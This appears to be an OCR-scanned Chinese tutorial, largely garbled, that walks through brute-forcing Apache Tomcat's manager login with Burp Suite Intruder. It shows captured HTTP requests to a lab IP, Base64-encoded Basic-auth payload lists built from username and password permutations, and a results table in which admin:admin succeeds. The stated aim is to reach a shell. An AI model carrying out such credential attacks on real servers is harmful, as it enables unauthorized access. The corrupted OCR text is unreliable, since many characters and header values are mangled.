#ABurpsuite R TomcatEHs

Tomcat R

TEBENRH, EIEEERtomcatEEWMEGASEZENIBAIIE R, F4L

F http://192.168.3.204:8080/host-manager/html

EXMERT, RINBSIEFERREFHEAFTEEBEshell

FIMB—TRHRINNERS :

GET /host-manager/htm| HTTP/1.1

Host: 192.168.3.204:8080

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW®64; rv:54.0) Gecko/20100101 Firefox/54.0

FirePHP/0.7.4

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;,q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

x-insight: activate

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Authorization: Basic YWRtaW46MTIzNDU?2

ETomcatE A ERUKETPRITELMERTHA KK S B HBHBase64F X,

B . AFL:EB => admin:123456 => YWRtaW46MTIzZNDU2

XEBRATIARAMetasploitBtomcat/F iR EHBIEIR, ZHFABAILUABuUrpSuite RIEH

FEIRE & X T Intrudert®EiR, HFIM—PEE

M%sn | Payioads | options |

w Paylo
Adtack type: | Sniper 7']
GET /manager/htm| HTTP/L1 S &J‘
E:j‘;zinlleﬁﬂiimfgg?Wmdows NT 6.3; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0 FirePHP/0.7 4 LM
P e i i Laves |
Accept-Encoding: gzip, deflate | Refresh |

Referer: http://192.168.3.204:8080/

Cookie: JSESSIONID=A8D88225932DEF342A1B60B02D85853
DNT: 1

x-insight: activate

X-Forwarded-For: 8.8.8.8

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Authorization: Basic SYWRtaWA46MTizNDU2§
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https://payloads.online/archivers/2017-08-17/2#tomcat-%E7%88%86%E7%A0%B4

Target | Positions | Payloads IOpﬂons ]

{ll Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each pay

Payload set: |1 = Payload count: 10
Payload type: | Custom iterator = Request count: 10

BTERGSHEERE base6s MER, BINFE (Bral &6 XEHEI#H
17 basebdencde FRIMAZIXZHE, EINTZE=1Epayload2 51L& . BFR%. . B,
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| > | “ayload Options [Custom iterator

This payload type lets you configure multiple lists of items, and generate payloads using all permutations of items in the lists.

Position: (1 ¥ | Clearall |

|_ Paste jadmin
[ Load ... ]

|_ Remaove

[ Clear ]

[ Add | |Entera new ifem

| Add from list v

B—IKERAPAXENTH, AIUZT,
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@ Payload Options [Custom iterator]

This payload type lets you configure multiple lists of items. and generate payloads using all permutations of items in the lists.

Position: | 2 [l Clear all l

List items for position 2 (1)

Paste

Ll

[
move
Clear
Add | Enter a new item
| Add from list ... v

Separator for position 2

BMNKE - , IFE—TEIE

m Payload Options [Custom iterator]

This payload type lets you configure multiple lists of items, and generate payloads using all permutations of items in the lists.

Position: QL'J . Clear all .

List items for position 3 (10)
| Ppaste || 123456 [;
| 789456
Load ... tomcat
= [[123123 »
Remove d
admin
Clear l@#
ll@#Htdjs v

Enter a new item

.

S

Add from list |gJ

Separator for position 3
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Preset schemes: | Choose a preset scheme | ? Payload processing rule

BJ Payload Processing

You can define rules to perform various processing tasks on each payload before

Enabled | Rule

v

Edit

Remave

i

Y

]

i

ETREFurmEEE, EANTEbase6dBXE = WAL %3d -

| | arget | Hosimans |£‘WS-I| Uptions |

B

List items for position 3 (10)

| Paste | | 123456 [_a\

| 789456
Load ... tomcat
) | 123123 [ 3

MJ admin

Clear '@#

I@##djs v

| Enter a new item

i

[Add from list ... }-rJ

Separator for position 3

Preset schemes: [Choose a preset scheme |m}

BJ Payload Processing

You can define rules to perform various processing tasks on each payload before it is used.

Add Enabled | Rule

& | Baseb4-encode

—
=)

Edit |

i

Remove S

Up

il

Down

—
=)

(2] Payload Encoding Bl A
\This setting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests.

[ ] URL-encode these characters: | fi=<=7+&%:

IREBETTEE, HITATURKT -
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Attack Save Columns

J MI Target T Positions T Payloads T{)ptions ]

Filter: Showing all items t
Request A| Payload | Status | Error | Tlmeout| Length | Comment
1 YWRta\W46MTIzNDU2 401 [ [ 2838

2 YWRtaW46NzgsNDU2 401 (= [] 2838

3 YWRta\W46dGotY2F0 401 ) [] 2838

4 YWRtaW46MTIzMTIz 401 ] [ 2838

5 YWRtaW46YWRtaWd= 200 LJ [J 19249

6 YWRtaW46IUA) 401 [ [ 2838

[ YWRta\W46ISFAlyNkanM= 401 [ [] 2838

8 YWRtaW4652xsaWw= 401 ] [] 2838

9 YWRta\W46aGVsbGohZG... 401 ) [ 2838

10 YWRtaW46bWFubmdlicg== 401 & [] 2838

[ e |

_qug T Headers I Hex 1

GET /manager/html| HTTP/1.1

Host: 192.168.3.204:8080

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rnv:54.0) Gecko/20100101 Firefox/54.0
FirePHP/0.7 .4

Accept: text/html,application/xhtml+xml,application/xml,q=0.9,*/*:q=0.8
Accept-lLanguage: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Referer: http://192.168.3.204:8080/

DNT: 1

x-insight: activate

X-Forwarded-For: 8.8.8.8

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Authorization: Basic YWRtaW46YWRtaW4=

s 4x

1ICN=H
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